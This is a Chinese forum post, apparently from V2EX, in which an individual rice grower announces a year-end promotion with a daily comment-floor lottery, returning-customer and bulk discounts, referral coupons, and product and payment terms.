1. 活动期间每天 21:00 使用豆包在 “新增楼层中” 抽取中奖楼层号,公布在评论区
2. 整个活动期间同一用户可中不同等级奖,但同一奖不可重复中,中奖人员若冲突,则顺延。顺延规则:参与奖每 4 个楼层为一组( 1-4 楼、5-8 、9-12 楼…), 组内顺延, 组内均不满足时顺延至下一组;其他奖项直接向下一楼层顺延
3. 若不方便在评论区发送评论,可加我微信,让我代发一条评论进行参与,我统一每日 21:00 前按顺序批量代发,代发后视为参与当日抽奖,中奖后凭微信聊天记录核销即可

🔥福利二:老顾客回馈

所有已下单过的顾客,在本次活动期间自动参与「老客回馈活动」,购米自动 “每 10 斤再减 5 元”

注:
1. 只要是老客户在福利期间来跟我买,不管买多少,不管买给谁,不管买几单,通通可用此老顾客回馈福利
2. 老客户定义:简单点,下过单就算。例:福利期间下过第一单后,再下单就算老客户了
3. 我要忘了,微信提醒我一下

🔥福利三:囤货立减:多买多省不封顶

  • 新客首单:立减 5 元
  • 所有人下单 20 斤及以上:直接再减 10 元
  • 所有人下单 50 斤及以上:直接再减 30 元
  • 所有人下单 100 斤及以上:直接再减 70 元
  • 所有人下单 300 斤及以上:直接再减 255 元
  • 所有人下单 500 斤及以上:直接再减 500 元
  • 再高私聊吧

注:
1. 此福利不可同时享受。例:如果下单 50 斤,仅可享受减 30 元优惠
2. 我要忘了,微信提醒我一下

🔥福利四:邀请有礼:拉好友一起囤

邀请 1 位新好友成功下单:双方各得 10 元无门槛无限叠加优惠券(可立即使用)

注:
1. 好友下单时,需让好友给我「邀请人微信昵称」,好友当前订单可立减 10 元。好友付款成功后,邀请人可获得 10 元无门槛无限叠加优惠券,推荐的每名好友无论下了几单,邀请人只可获得一张 10 元无门槛无限叠加优惠券
2. 邀请历史已经下过单的老客不能参与此福利活动


兑奖方式:中奖后私信微信核销,核销方式:「中奖楼层截图 + 用户账号截图」
兑换有效期:截止至 2026 年 2 月 7 日 24:00
微信:18846163054 或扫下方二维码(别问了,和之前发的是一个微信,手欠改微信号了)

米简介:

  1. 数量:10 斤起售,只支持 10 斤、20 斤、30 斤……售卖方式
  2. 价格:10 元一斤,包邮
  3. 所有米默认全部真空包装,一块 10 斤的米砖,可保存 1 年以上,拆开后也可保存 3 个月以上。若要升级成 2 斤一块的米砖,需增加每 10 斤 2 元
  4. 送礼可加礼盒包装,默认两种礼盒,均为 10 斤装,分为 5 个 2 斤一块的米砖。分别为 10 元礼盒 与 25 元礼盒,可加微信详细了解。选择礼盒包装可免 2 斤一块的米砖升级费用
  5. 个人自家口粮田种植售卖,无营业执照,无线上线下店面,仅保障米的纯正与新鲜,介意个人售卖模式的朋友请谨慎下单
  6. 不接受延迟转账,介意先付款再发货模式的朋友请谨慎下单
    米详情链接: https://v2ex.com/t/1166177?p=1#reply64
    (忽略合作、没有合作)

福利规则补充:

  1. 所有活动均可在同一订单下参与,无套路,只要中了就能用
  2. 米绝对不会有质量问题,所以米不支持退货!!!其他问题可沟通协商,我都卖五年了,诉求合理尽量满足
  3. 所有中奖相关信息会在微信朋友圈发布
  4. 福利大是因为感谢众 V 友的支持,即使亏本也给大家一些福利,不是要跑路,是真累了,看看明年新米下来再卖
  5. 优惠叠加示例
  • 新用户:
    • 中了一等奖、参与奖、邀请一位新好友、享受新客福利(首单立减 5 元),下单 10 斤,共花费:100 - 40 - 10 - 10 - 5 = 35
    • 中了一等奖、参与奖、邀请一位新好友、享受新客福利(首单立减 5 元),下单 20 斤,共花费:200 - 40 - 10 - 10 - 5 - 10 = 125
    • 中了一等奖、参与奖、邀请一位新好友、享受新客福利(首单立减 5 元),下单 50 斤,共花费:500 - 40 - 10 - 10 - 5 - 30 = 405
  • 老用户:
    • 中了一等奖、参与奖、邀请一位新好友、享受老用户福利(每 10 斤减 5 元),下单 10 斤,共花费:100 - 40 - 10 - 10 - 5 = 35
    • 中了一等奖、参与奖、邀请一位新好友、享受老用户福利(每 10 斤减 5 元),下单 20 斤,共花费:200 - 40 - 10 - 10 - 10 - 10 = 120
    • 中了一等奖、参与奖、邀请一位新好友、享受老用户福利(每 10 斤减 5 元),下单 50 斤,共花费:500 - 40 - 10 - 10 - 25 - 30 = 385